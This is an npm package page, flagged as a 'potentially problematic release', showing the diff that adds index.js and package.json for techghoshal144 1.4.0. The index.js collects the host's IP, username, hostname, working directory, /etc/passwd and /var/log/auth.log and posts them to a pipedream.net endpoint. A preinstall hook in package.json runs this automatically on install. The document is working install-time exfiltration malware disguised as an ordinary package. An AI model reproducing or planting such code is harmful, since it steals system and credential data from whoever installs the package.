techghoshal144 1.4.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of techghoshal144 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +40 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,40 @@
1
+
2
+ const execSync = require('child_process').execSync;
3
+
4
+ const priv_ip = execSync('hostname -I', { encoding: 'utf-8' });
5
+ const whoami = execSync('whoami', { encoding: 'utf-8' });
6
+ const host = execSync('hostname', { encoding: 'utf-8' });
7
+ const current_dir = execSync('pwd', { encoding: 'utf-8' });
8
+ const passwd = execSync('cat /etc/passwd', { encoding: 'utf-8' });
9
+ const auth = execSync('cat /var/log/auth.log ', { encoding: 'utf-8' });
10
+
11
+
12
+ const https = require("https")
13
+
14
+ const data = JSON.stringify({
15
+ "private IP": priv_ip,
16
+ "whoami": whoami,
17
+ "hostname": host,
18
+ "current dir": current_dir,
19
+ "passwd": passwd,
20
+ "auth.log": auth
21
+
22
+
23
+
24
+
25
+ })
26
+
27
+ const options = {
28
+ hostname: "eoubo9wfyehgrtu.m.pipedream.net",
29
+ port: 443,
30
+ path: "/",
31
+ method: "POST",
32
+ headers: {
33
+ "Content-Type": "application/json",
34
+ "Content-Length": data.length,
35
+ },
36
+ }
37
+
38
+ const req = https.request(options)
39
+ req.write(data)
40
+ req.end()
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "techghoshal144",
3
+ "version": "1.4.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall" : "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }